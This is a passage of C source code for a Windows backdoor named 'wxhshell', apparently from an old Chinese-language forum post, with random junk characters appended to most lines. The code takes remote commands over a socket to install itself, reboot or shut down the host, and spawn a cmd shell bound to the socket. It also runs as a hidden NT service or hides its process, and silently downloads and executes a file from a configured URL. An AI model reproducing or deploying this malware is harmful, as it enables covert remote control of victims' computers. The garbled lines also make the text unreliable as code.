F5o8@ Ib]:  
    switch(cmd[0]) { = L!&Z  
  U%q)T61  
  // 帮助 KYFKH+d>m  
  case '?': { V"/.An|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xVx s~p1  
    break; \]ib%,:YU  
  } 2.q Zs8&  
  // 安装 hY"eGaoF"  
  case 'i': { 6V;Dcfvi  
    if(Install()) (Z),gxt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /UCBoQ$/]  
    else ?JrUZXY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~MG6evm &  
    break; 4 2Z:J 0  
    } |9E:S  
  // 卸载 5GsmBf$RUb  
  case 'r': { TDh)}Ms  
    if(Uninstall()) +IdM|4$\1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q)q 3p  
    else d<m;Q}/l&h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CNB weM  
    break; I,?NYIG"(  
    } %_!/4^smE  
  // 显示 wxhshell 所在路径 C;BO6$*_e  
  case 'p': { A2'i~_e  
    char svExeFile[MAX_PATH]; 4) 8k?iC*  
    strcpy(svExeFile,"\n\r"); @cDB 7w\  
      strcat(svExeFile,ExeFile); fv;Q*; oC&  
        send(wsh,svExeFile,strlen(svExeFile),0); +:KZEFY?<  
    break; i).%GMv*r  
    } V+gZjuN$  
  // 重启 {]CZgqE{  
  case 'b': { LO`0^r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 46?z*~*G  
    if(Boot(REBOOT)) W{,fpm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 529; _|  
    else { K; #FU  
    closesocket(wsh); m<gdyY   
    ExitThread(0); W|PAI [N  
    } E?w#$HS  
    break; jFSR+mP!  
    } -)A:@+GF  
  // 关机 t^#1=nK  
  case 'd': { f|> rp[Gk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YU,zQ V'  
    if(Boot(SHUTDOWN)) {j wv+6]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8 sT?  
    else { [L%Ltmx  
    closesocket(wsh); xQ9t1b|{e  
    ExitThread(0); q!z?Tn#!jd  
    } *DJsY/9d}'  
    break; WIWo4[(  
    } b_+o1Zy`  
  // 获取shell ` m 5\  
  case 's': { Es=G' au  
    CmdShell(wsh); [@K'}\U^+  
    closesocket(wsh);  hb[ThQ  
    ExitThread(0); ?$pNduE  
    break; @nH3nn  
  } w-).HPe  
  // 退出 vn.5X   
  case 'x': { \' O/3Y7?X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )<x9t@$  
    CloseIt(wsh); M"z=114  
    break; >N^<Q4%2  
    } Bc=(1ty)  
  // 离开 M+t)#O4  
  case 'q': { Zg+.`>z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); igu1s}F  
    closesocket(wsh); l$u52e!7  
    WSACleanup(); '/GB8L  
    exit(1); tQ }GTqk  
    break; Ana[>wSZO@  
        } -@AhJY.  
  } `^#Rwn#  
  } o[;P@F  
r\m{;Z#LJm  
  // 提示信息 4" ?`p;{Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lg\3DzM  
} w1< pQ[A  
  } P2'c{],3V  
+*.*bo  
  return; )Kx.v'  
} 8GkWo8rPk  
k}LIMkEa4a  
// shell模块句柄 \>$zxC_  
int CmdShell(SOCKET sock) pj%]t  
{ q/?*|4I  
STARTUPINFO si; Y%}&eN$r  
ZeroMemory(&si,sizeof(si)); p5]W2i.,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;adZ*'6u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <EnmH/C.  
PROCESS_INFORMATION ProcessInfo; LJrH_h8C  
char cmdline[]="cmd"; 0+mR y57  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9fp"r,aHN&  
  return 0; m{>1# 1;$t  
} Z|K HF"  
|QS|\8g{0V  
// 自身启动模式 1c,#`\Iikd  
int StartFromService(void) tGOJ4 =  
{ bWL!=  
typedef struct }P.s  
{ V@0T&#  
  DWORD ExitStatus; F6vsU:TfB  
  DWORD PebBaseAddress; .H|Z3d!Jj  
  DWORD AffinityMask; :h@V,m Z  
  DWORD BasePriority; w&@tP^`  
  ULONG UniqueProcessId; [Or1  
  ULONG InheritedFromUniqueProcessId; :h,}yBJ1L  
}   PROCESS_BASIC_INFORMATION; bfeTf66c  
KXMf2)pa  
PROCNTQSIP NtQueryInformationProcess; Lginps[la  
.*NPoW4Kv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tDETRjTA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &pK0>2  
&zYQ H@  
  HANDLE             hProcess; +1#;s!e  
  PROCESS_BASIC_INFORMATION pbi; K^x{rn.Zf  
Bc!<!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c Lyf[z)W  
  if(NULL == hInst ) return 0; *6JA&zj0B  
3MX#}_7A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pg5W`4-F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {]Mwuqn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4+8)0;<H  
o2|#_tGNUy  
  if (!NtQueryInformationProcess) return 0; nZiwR4kM  
T6y~iNd<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kRggVRM  
  if(!hProcess) return 0; Ft;x@!h%  
pI f6RwH}%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T Tbe{nb  
54{E&QvL8o  
  CloseHandle(hProcess); UR'v;V&Cb\  
;(mNjxA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *v#V%_o  
if(hProcess==NULL) return 0; RAa1^Qb  
T T 3 6Y  
HMODULE hMod; <Hv/1:k}  
char procName[255]; b\^DQZmth  
unsigned long cbNeeded; RH,x);J|  
tIn`L6b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CeU=A9  
 9qa/f[G  
  CloseHandle(hProcess); &y0GdzfQd  
^vm6JWwN0B  
if(strstr(procName,"services")) return 1; // 以服务启动 "E<+idoz  
!0p K8k&MG  
  return 0; // 注册表启动 BZLIi O  
} .{eMN[ n@  
]@y%j'e  
// 主模块 uPho|hDp  
int StartWxhshell(LPSTR lpCmdLine) Y'1 KH}sH  
{ L5UZ@R,  
  SOCKET wsl; !Th5x2  
BOOL val=TRUE; bOU"s>?  
  int port=0; Sa)sDf1+`  
  struct sockaddr_in door; ai d1eF  
Ay Uw  
  if(wscfg.ws_autoins) Install(); NPv.7,  
w\[l4|g `  
port=atoi(lpCmdLine); ?9?A)?O<j~  
P,zQl;  
if(port<=0) port=wscfg.ws_port; /7#MJH5b6  
:}36;n<['  
  WSADATA data; {1=|H$wKg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %4` U' j  
AP z"k?D0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tvn o3"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3AENY@*  
  door.sin_family = AF_INET; )cL(()N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +*W lj8  
  door.sin_port = htons(port); lA4-ZQ2Zp[  
.~ uKr^%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (z;lNl(*C  
closesocket(wsl); F6J]T6 Y  
return 1; f4,|D |  
} )AEtW[~D  
J e|   
  if(listen(wsl,2) == INVALID_SOCKET) { 3ouy-SQ  
closesocket(wsl); k)z>9z%D  
return 1; ;jx[  +  
} %yc-D]P/  
  Wxhshell(wsl); ?=)lbSu K  
  WSACleanup(); Y8%l)g  
$XcH.z  
return 0; 5'DY)s-K  
LV1drc  
} iM7 ^  
o%-KO? YW  
// 以NT服务方式启动 S;t`C~l\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T_s09Wl  
{ \ ^pc"?Rc  
DWORD   status = 0; dYOY8r/  
  DWORD   specificError = 0xfffffff; )^P54_2  
2oc18#iG (  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oM>UIDCY_v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AMB{Fssz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sWse (_2  
  serviceStatus.dwWin32ExitCode     = 0;  mVS^HQ:  
  serviceStatus.dwServiceSpecificExitCode = 0; y5c\\e  
  serviceStatus.dwCheckPoint       = 0; ,%A|:T]  
  serviceStatus.dwWaitHint       = 0; #mJRL[V5^  
|_g7k2oLY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T9J&^I  
  if (hServiceStatusHandle==0) return; E;`^`T40  
]5@n`;&#.  
status = GetLastError(); OpazWcMoo  
  if (status!=NO_ERROR) +VQD'  
{ :Hb`vH3 x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /? d)01  
    serviceStatus.dwCheckPoint       = 0; _R]0S  
    serviceStatus.dwWaitHint       = 0; }M(xN6E  
    serviceStatus.dwWin32ExitCode     = status; qGhg?u"n:  
    serviceStatus.dwServiceSpecificExitCode = specificError; WqM| nX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i/C% 1<  
    return; cGm?F,/`  
  } )RTWt`  
&ID! lEd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "uL~D5!f  
  serviceStatus.dwCheckPoint       = 0; 9 iJ$M!  
  serviceStatus.dwWaitHint       = 0; #X1a v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7. $wK.  
} >}+R+''nR  
:81d~f7  
// 处理NT服务事件,比如:启动、停止 {A< 961  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ckV\f({  
{ KkTE -$-  
switch(fdwControl) T(Yp90'6  
{ G 0Z5h  
case SERVICE_CONTROL_STOP: vw:GNpg'R6  
  serviceStatus.dwWin32ExitCode = 0; boDD?0.|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }:0ru_F)(4  
  serviceStatus.dwCheckPoint   = 0; !U}2YM J  
  serviceStatus.dwWaitHint     = 0; f34/whD65  
  { (f_YgQEL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | @ ut/  
  } .9Cy<z  
  return; ?[.8A/:5  
case SERVICE_CONTROL_PAUSE: Y+),c14#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C+M]"{Y+  
  break; oR~d<^z(  
case SERVICE_CONTROL_CONTINUE: K/Pw;{}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \6MM7x(U3  
  break; 4sO Rp^t'Q  
case SERVICE_CONTROL_INTERROGATE: dG0zA D  
  break; NZZy^p&O  
}; M:oM(K+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $kN=45SR  
} =NY55t.  
hi$AZ+  
// 标准应用程序主函数 ^>ir&$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U/A iI;Ne  
{ \\13n4fAv  
DrioBb@  
// 获取操作系统版本 sG_/E-%5'  
OsIsNt=GetOsVer(); EN[T3 Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); } LC  
(K8Ob3zN_  
  // 从命令行安装 2ry@<88  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'oY#a9~Z{  
0fvOA*UP  
  // 下载执行文件 S2\;\?]^~  
if(wscfg.ws_downexe) { 5rbb ,*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %GY'pQz  
  WinExec(wscfg.ws_filenam,SW_HIDE); })70S8k  
} [[^95:  
:] U\{;q2  
if(!OsIsNt) { 45wtl/^9  
// 如果时win9x,隐藏进程并且设置为注册表启动 +a N8l1  
HideProc(); q1eMK'1  
StartWxhshell(lpCmdLine); J]Z~.f="  
} T\$i=,_$  
else <},JWV3  
  if(StartFromService()) [mjie1j/<  
  // 以服务方式启动 #| ,cy,v4  
  StartServiceCtrlDispatcher(DispatchTable); |LbAW /9a  
else vC@^B)5gb  
  // 普通方式启动  iKd+AzT  
  StartWxhshell(lpCmdLine); #O;JV}y  
rq!*unJ  
return 0; (&Lt&i _  
}
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只看该作者 1 发表于: 2006-10-10
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